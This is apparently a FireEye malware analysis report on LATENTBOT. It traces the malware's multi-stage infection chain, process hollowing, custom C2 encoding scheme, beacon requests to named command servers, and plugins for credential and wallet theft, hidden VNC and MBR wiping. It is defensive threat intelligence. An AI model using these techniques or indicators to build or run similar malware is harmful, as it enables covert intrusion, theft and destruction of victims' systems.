LATENTBOT: Trace Me If You Can

Through our Dynamic Threat Intelligence (DTI), we have observed multiple campaigns targeting multiple industries in the United States, United Kingdom, South Korea, Brazil, United Arab Emirates, Singapore, Canada, Peru and Poland – primarily in the financial services and insurance sectors. Although the infection strategy is not new, the final payload dropped – which we named LATENTBOT – caught our attention since it implements several layers of obfuscation, a unique exfiltration mechanism, and has been very successful at infecting multiple organizations.

Some of the main features of LATENTBOT are listed below:

a)    Multiple layers of obfuscation
b)    Decrypted strings in memory are removed after being used
c)    Hiding applications in a different desktop
d)    MBR wiping ability
e)    Ransomlock similarities such as being able to lock the desktop
f)    Hidden VNC Connection
g)    Modular design, allowing easy updates on victim machines
h)    Stealth: Callback Traffic, APIs, Registry keys and any other indicators are decrypted dynamically
i)    Drops Pony malware as a module to act as infostealer

LATENTBOT Overview

Stealth being one of its traits, LATENTBOT will only keep malicious code in memory for the short time that is needed. Most of the encoded data is found either in the program resources or in the registry. A custom encryption algorithm is shared across the different components, including in encrypting its command and control (CnC) communications. Due to this, its family binaries are detected with a generic name such as Trojan.Generic:

https://www.virustotal.com/en/file/39af310076282129e6a38ec5bf784ff9305b5a1787446f01c06992b359a19c05/analysis/

LATENTBOT itself is not targeted in nature – it has been observed in multiple industries – but it is selective in the types of Windows systems to infect. For example, it won’t run in Windows Vista or Server 2008. LATENBOT also uses compromised websites as CnC infrastructure, making infection easier and detection harder.

Based on passive DNS information and similar samples found in the wild, it is possible that LATENTBOT was created around mid-2013. Throughout the course of 2015, we observed multiple successful infection campaigns, as seen in Figure 1.

Figure 1: Targeted Countries and LATENTBOT CnC Locations

Infection Vector

The preliminary steps to infect victims with LATENTBOT already contains multiple layers of obfuscation as described in Figure 2: Infection Phase.

Figure 2: Infection Phase

Step 1

Malicious emails containing an old Word exploit are created with the Microsoft Word Intruder[1] (MWI) builder and sent to the victims.

Step 2

When the attached Word document is opened, an embedded malicious executable runs, beaconing to the MWISTAT Server (see Figure 3) for two main purposes:

1.    Campaign tracking
2.    Second stage binary download

Figure 3: MWI Beacon

During our analysis, the Word documents downloaded LuminosityLink as the second stage binary. LuminosityLink is a full-featured RAT that has the ability to steal passwords, record keystrokes, transfer files and activate attached microphones or webcams.

Step 3

Since LuminosityLink is a RAT that offers multiple capabilities to fully control the infected box, it is surprising that the RAT downloaded another payload from a secondary CnC at emenike[.]no-ip.info (180.74.89.183). This new module is LATENTBOT which offers new capabilities that will be detailed in this report.

Dissecting LATENTBOT

The analysis will concentrate on the third stage LATENTBOT binary lsmm.exe(af15076a22576f270af0111b93fe6e03) dropped in Step 3 above, but we are far from the final stage. Another similar binary that was part of our analysis is aya.exe(1dd0854a73288e833966fde139ffe385), which performs the same actions. Let’s take an in-depth look at this interesting piece of malware.

LATENTBOT is an obfuscated .NET binary, which contains an encoded resource object. This object is the fourth stage payload that is decoded using the algorithm seen in Figure 4.

Figure 4: XOR routine to decode embedded resource

The fourth stage payload is also a .NET binary protected and obfuscated with ConfuserEx v0.5.0-10-g6ebeec5.The fourth stage binary will open the .NET programs: RegAsm.exe and CvTres.exe from %windir%\Microsoft .Net\Framework\v2.050727\ and use process hollowing to replace them with malicious code in memory.

The CvTres.exe process is replaced with a Visual Basic UPX-packed binary extracted from the binary’s resources, as seen in Figure 5.

Figure 5: Process hollowing to replace the contents of CvTres.exe in memory

The binary creates a registry key for persistence with the hardcoded binary name dlrznz68mkaa.exe (a copy of the original aya.exe) at the location shown in Figure 6:

HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\load

Figure 6: LATENTBOT persistence

The folder aFwLiiV and filename dlrznz68mkaa.exe are hardcoded in the resources section of the Confuser .NET binaries. Figure 7 shows the resources content from aya_decrypted.exe.

Figure 7: Confuser .NET resources showing malicious directory and file name

RegAsm.exe will be replaced in memory with a shellcode loader that opens %windir%\system32\svchost.exe and uses the same process hollowing technique to load a second shellcode loader that eventually will decode and execute a fifth stage Delphi binary in memory.

At this point, let’s see the new stages discovered in Figure 8:

Figure 8: The many stages of LATENTBOT

Figure 9 shows a quick view of one of the decoder functions inside the second shellcode loader that eventually decrypts the fifth stage Delphi Binary:

Figure 9: Complex decoder function

Fifth Stage Delphi Binary

This is another launcher that uses the same process hollowing technique we saw previously to execute the sixth stage binary in another instance of svchost.exe. This new binary is encoded in the resources section and decoded at runtime with the function from Figure 10.

Figure 10: Decoder for sixth stage binary

The process tree at this point with aya.exe, RegAsm.exe and the two instances of svchost.execan be seen using the Process Explorer tool in Figure 11, with the sixth stage being suspended:

Figure 11: Multiple Injections View

Sixth Stage Delphi Binary

The sixth stage is highly obfuscated; multiple encoded strings can bee seen which represent API function names, CnC IP, POST/GET parameters, HTTP headers, processes names, and so on, all of which are decrypted at runtime.

First the malware will performs several validations. If the Windows OS version is 6.0 (Windows Vista, Windows Server 2008) or if the malware’s parent process is not svchost.exe or explorer.exe (see Figure 12) then it will exit.

Running Out of Battery?

If LATENTBOT is running on a laptop, it will query the battery status via GetSystemPowerStatusand if the battery is running Low or Critical, it will call SetThreadExecutionState try to prevent the system from sleeping or turning the display off.

Figure 12: Processes names decrypted to be validated

Is the BOT_Engine plugin installed?

Now LATENTBOT will check if its plugins are already downloaded by querying the registry key below which should contain subkeys with the encrypted modules:

HKCU\Software\Google\Update\network\secure

If plugins are found, LATENTBOT will proceed to load BOT_ENGINE, which is the main module (described in more detail below). Otherwise, it will download the required plugins from a CnC server as explained in the next section.

Data Exfiltration

If the plugins were not found, LATENTBOT will proceed to download them, but it will first validate that the connection to the CnC server is alive by making the TTP request shown in Figure 13:

Figure 13:  LATENTBOT initial beacon

LATENTBOT then verifyies that the HTTP response is one of the following:

•    200: The requested resource was found
•    302: Found but in a different URI (Redirection)
•    307: Similar to 302

If none of the valid HTTP responses shown above are received, it will try to connect again every 20 seconds indeterminately.

Assuming a valid HTTP response was received, LATENTBOT will proceed to generate a beacon. First, the URI is generated based on information from the infected host; two examples are shown below:

forum?datael=US-20-503634784811&ver=4006&os=2&acs=0&x64=0&gr=load-1.7.1.20&random=wopvrudsks

forum?datael=US-70-347126827175&ver=4006&os=5&acs=0&x64=0&gr=load-1.7.1.20&random=dbvcwhctdn

Where:
•    All the GET parameters are decoded at runtime. For example, tgsz0D decodes to &gr.
•    datael: <locale>-<OS_Version>-<random_number>, where <OS_Version> is one of the following:
o    10 = Windows 2000 (5.0)
o    20 = Windows XP (5.1)
o    30 = Windows XP 64-Bit, Windows Server 2003/R (5.2)
o    40 = Windows Vista, Windows 2008 (6.0)
o    70 = Windows 7, Windows Server 2008 R2 (6.1)
o    80 = Windows 8, Windows Server 2012
o    90 = Windows 8.1, Windows Server 2012 R2
•    random and the <random_number> used by datael are set dynamically. For random, 10 characters are randomly selected from the buffer abcdefghijklmnopqrstuvxyz. dataelrandomly selects 12 integers from the buffer 0123456789012345678912345678. The seed is initialized with the Delphi function Randomize()and the Delphi Random() function is called on each loop iteration, making the callback different on each request.
o    Note: The <random_number> is stored in the following registry key (created at runtime): \HKCU\Software\Adobe\Adobe Acrobat\data
•    os: Windows OS Major version, using the same codes as OS_Version above.
•    acs: possible values are 1 or 0. 1 is used if the malware is running under SYSTEM privileges.
•    x64: flag identifying the OS architecture.
•    The ver and gr parameter values are hardcoded.

Then the URI is encoded using a three steps algorithm. The following will describe each step:

Step 1: Custom substitution routine

This routine substitutes valid URI characters using custom hardcoded lookup tables, depending on the usage (encoding/decoding) different lookup tables are used. Figure 14 shows the lookup table used during the decoding phase:

Figure 14:  Decoding lookup table

This routine encodes/decodes one WORD at a time, each byte is shifted right or left depending on the need (encoding/decoding) with a specific value depending on the byte position as shown in Table 1:

Table 1: Shift values

The result is added after each shift, as shown in Figure 15.

Figure 15: Shift calculations
Note: For encoding, depending on a parameter, the substitution routine can choose from three different lookup tables; for this sample, only one lookup table was used every time.

Step 2: XOR Modifier

The substituted data is passed is passed ot the XOR modifier shown in Figure 16.

Figure 16: XOR Modifier routine

Different XOR modifiers are used as shown in Table 2:

Table 2: XOR modifier

The same XOR modifier algorithm has been used by iBanking/TauSpy Android malware[2].

Step 3: Base64 encoding

The resulting encoded URI is then base64 encoded.

The whole algorithm can be expressed as follows:
Encryption:
encoded_uri  = base64_encode(substitute (xor_modifier(modifier, plain_text_uri)))
Decryption:
plain_text_uri = xor_modifier(modifier, substitute(base64_decode(encoded_uri)))

By applying the substitution and XOR algorithms described above to the original URI:

forum?datael=US-20-503634784811&ver=4006&os=2&acs=&x64=0&gr=load-1.7.1.20&random=wopvrudsks

we get the following encoded URI:

Adl7k+v9qQGCaZti0LS9v++uFb6axeFE2twthNT9s3K6/oG0xjQS2Gqk+Udja91kch3nwphGANCtdr83tXSAaLJEi/qmG3xmKKPwR8lFncN9i93yfHRxFQ2EBC

This URI is transformed with standard Base64 encoding, resulting in:

QWRsN2srdjlxUUdDYVp0aTBMUzl2Kyt1RmI2YXhlRkUydHd0aE5UOXMzSzYvb0cweGpRUzJHcWsrVWRqYTkxa2NoM253cGhHQU5DdGRyODN0WFNBYUxKRWkvcW1HM3htS0tQd1I4bEZuY045aTkzeWZIUnhGUTJFQkM=

Which finally is used to send the beacon shown in Figure 17:

Figure 17: Fully encoded LATENTBOT beacon

The CnC replies with:
MDVvWVc2K3J5ZGV4ZlNyM0lycjQ5TFhkSnBmZWJTbms1Zkx0aEQzNWxqaFlqVS9XczN4MTNqV1RQOWtHWUF1ZERidzdkR0ZOdjI1UHAzT1pYcktBM2l5OGlWU04zMjByZDExOFNVREdObDk3QjdPNWtQUjhBU05jcjVybXR1Mkg=

The decoded URI yields:

mod:https://46.165.246.234/m/:Bot_Engine-A35CB08FB078051B27894BCD380EAC43-229376-018701-881384-8;

Which is actually the name of a module (Bot_Engine, and a unique ID) to be downloaded later during execution.

Downloading the Plugins

At this point, LATENTBOT is ready to start downloading the different plugins by sending the beacon shown in Figure 18:

GET /m/484588.zip HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)
Host: 37.220.9.229
Cache-Control: no-cache

Figure 18: LATENTBOT download beacon

The modules names pretend to be ZIP files but are in fact encoded data that is saved into the registry key secure as shown in Figure 19.

Figure 19: Registry keys storing the malicious plugins

Decrypting the plugin names using the XOR modifier algorithm from Figure 16 with modifier 0x2328 gives the following module names:
1.    hdtWD3zyxMpSQB = Bot_Engine
2.    QdW/DoI2F9J = Security
3.    RRrIibQs+WzRVv5B+9iIys+17huxID = Remote_desktop_service
4.    VRWVBM6UtH6F+7UcwkBKPB = Vnc_hide_desktop
5.    zRlBb9ofmNVErtdu = Pony_Stealer

The registry values shown at the bottom of Figure 19 have a specific purpose depending on the plugin being used. The values can be used as status or integrity-check flags or used to store encoded binaries.

Figure 20 is a diagram showing how the plugins will be loaded:

Figure 20: Plugins Architecture

InjectionHelper

A new DLL (InjectionHelper, see Figure 20) is decoded from the resources of the sixth stage Delphi binary and loaded to the current process via BTMemoryLoader, which will eventually load (via the jMex export) the main plugin BOT_ENGINE.
The main purpose of InjectionHelper is to load svchost.exe and replace it in memory – via the process hollowing technique – with the binary supplied as an argument. This DLL is actually used by other plugins any time a new binary needs to be loaded in memory.

Once InjectionHelper loads the BOT_ENGINE plugin, it will re-inject itself into new instances of svchost.exe multiple times before commencing execution, as seen in Figure 21.

Figure 21: BOT_ENGINE process hollowing chain

Plugins Description

BOT_ENGINE & SECURITY

BOT_ENGINE is the main plugin responsible for loading the rest of the plugins. The loading technique is the same as previously documented using the BTMemoryLoader Library. BOT_ENGINE communicates closely with the SECURITY module. The SECURITY module checks the system to see if any antivirus solution was installed, using a list of AV products’ default installation paths (see Appendix 1). This list is encrypted with the algorithm from Figure 16 using the modifier 0xBB8.

If an AV is found on the system, the callback will include a GET parameter av=<number> (e.g., Avast will be av=1).

There is also a check for GPUs with EnumDisplayDevice that tries to detect display cards from NVidia, ATI and Radeon and report the result with the vidtype parameter:
3 possible values:
•    vidtype=1  for NVidia
•    vidtype=2   for ATI or Radeon
•    vidtype=0 for none of the above

BOT_ENGINE is a Delphi program similar to the sixth stage Delphi loader, but with patched stubs and new threads to do specific tasks. It extracts data from resources and verifies their signature using a public key embedded in the malware.

Extracting the public key

A key BLOB was imported via CryptImportKey API. The BLOB contains a 2048-bit RSA public key used to verify signatures.

Following the BLOB Header, we can find the 2048 bits RSA public key as shown in Figure 22.

Figure 22: Public key BLOB Structure in memory

Other GET parameters that may be sent are shown in Table 3.

Table 3: Other GET Parameters

After BOT_ENGINE is successfully installed and all the different checks are performed, a query is sent back to the CnC with the status of plugin installation along with any errors identified. The plugin GET parameter holds the plugin name.

Here is an example of a plain text beacon after the BOT_ENGINE plugin is successfully installed:

forum?data=US-20-164346373561&ver=4006&os=2&av=19&acs=&x64=0&gr=engine-1.7.1.20-s&li=load-1.7.1.20&plugins=Bot_Engine-881384-8&errcode=0&bk=0&note=0&dom=1&sockslog=0&vidtype=0&random=deabaotabf

Supported BOT_ENGINE commands are listed in Table 4:

Table 4: BOT_ENGINE CnC Commands

PONY Plugin

This plugin is a recent version of Pony Stealer 2.0 malware that comes with BITCOIN support to steal Bitcoin wallets as seen in Figure 23.

Figure 23: Bitcoin wallet

It looks for wallets for different cryptocurrencies (similar to VNC Plugin). Refer to List of Bitcoin Wallets and Currencies 1.

VNC Plugin

The VNC Plugin is actually more than what its name suggests – it has multiple features:

•    Implements a keylogger
•    ICMP Requests
•    MBR Wiper
•    Hidden VNC Remote Desktop
•    Manipulate the desktop
•    Intercept mouse events

Supported VNC module commands are listed in Table 5.

Table 5: VNC Plugin BOT Commands

Note: For every command executed, the BOT will send the encrypted status result to the CnC.

VNC Plugin command: killosanduninstalls

When this command is executed, the following steps will occur:

1. The malicious MBR wiper will be extracted and decoded from the VNC plugin’s resources and then injected into a new instance of svchost.exe via the InjectionHelper  The MBR Wiper overwrites the first 512 bytes of the hard drive represented by \\.\Physicaldrive0 and exits the injected process.
2.    The parent process will proceed to delete any traces of the malware from the registry and file system.
3.    Malicious process running are terminated.
4.    Then the status message “kill os function started + uninstall + shutdown mashine from 10 sec …” is sent to the CnC
5.    Finally a reboot is forced via the ExitWindowsEx API leaving the infected PC useless. A quick overview of this process is shown in Figure 24.

Figure 24: Killing the infected PC

The MD5 of the MBR Wiper (4d0b14024d4a7ffcff25f2a3ce337af8) was submitted to VirusTotal 7 times – from Russia – beginning in July 2013 and it has zero AV detections.

Running VNC

By running the VNC Plugin module on a system, it is possible to simply watch the end user (the victim, in this case) while going unnoticed. This differs from a normal RDP session, which would log off the end user and make the activity easy to identify.

The encoded VNC Plugin is stored in the registry under the key:

HKCU\Software\Google\Update\network\secure\

This key stores multiple encrypted subkeys as shown in Figure 19. The binary will be decoded and injected into svchost.exe via the InjectionHelper. The IP to connect to is encoded in the Resources section.

Before injecting the VNC Plugin, LATENTBOT will search for the following VNC processes running in the system and kill them to avoid conflicts:

•    tvnserver.exe – TightVNC Software
•    winvnc.exe – UltraVNC Software
•     vncserver.exe – RealVNC Software
•    vncservice.exe – RealVNC Software

VNC Plugin command: getinstallpluginlist

When this command is executed, the plugin list will be extracted from the registry, as already described. The registry values will be separated by a dash and the plugins by a comma. The data will then be encrypted and sent to the CnC server.

Figure 25 is an example of this decrypted plugin list:

Figure 25: Plugin list data decrypted in memory

VNC Plugin command: findgold

This searches the registry recursively starting at HKCU\Software\Classes for strings such as Bitcoin or TrueCrypt. It also searches the file system starting at %APPDATA%\Roaming and $APPDATA\Roaming\Bitcoin for wallet.dat, MultiBit or Electrum. See Figure 23 in the appendix for a full list of search terms.

VNC Plugin command: sendCtrlAltDel

This functionality is implemented by loading as_sas32.dll and calling its sendCtrlAltDelexport.

Information Gathering

The plugin will gather system information and report it to the CnC server only, without using this to stop a process, which might trigger an alert.

The section Searching for malware analyst tools in Appendix 1 lists the program names and processes that LATENBOT is searching for. Keywords for SoftICE or filemon (which are retired tools) suggest this specific module was created long time ago. A specific ID will be assigned to every identified item identified and will be reported to the CnC server.

The same list of AVs listed in the BOT_ENGINE plugin were found in this one.

RDP Plugin

The built-in RDP client provides easy remote administration of the victim computer to the attackers, although this method would be more intrusive (potentially more noticeable to the victim) than the VNC Plugin.

Conclusion

In this paper we presented different plugins being used by LATENTBOT. Its architectural design allows the payloads to be easily updated with new functionalities, so we will be tracking the deployment of other plugins closely.

Although LATENTBOT is highly obfuscated, due to the multiple process injections performed, it is noisy enough to be easily detected in memory with a proper behavior-based solution. Outbound callback tracking and blocking is also mandatory in cases when the malware was able to bypass the security controls in place.

Source:https://www.fireeye.com/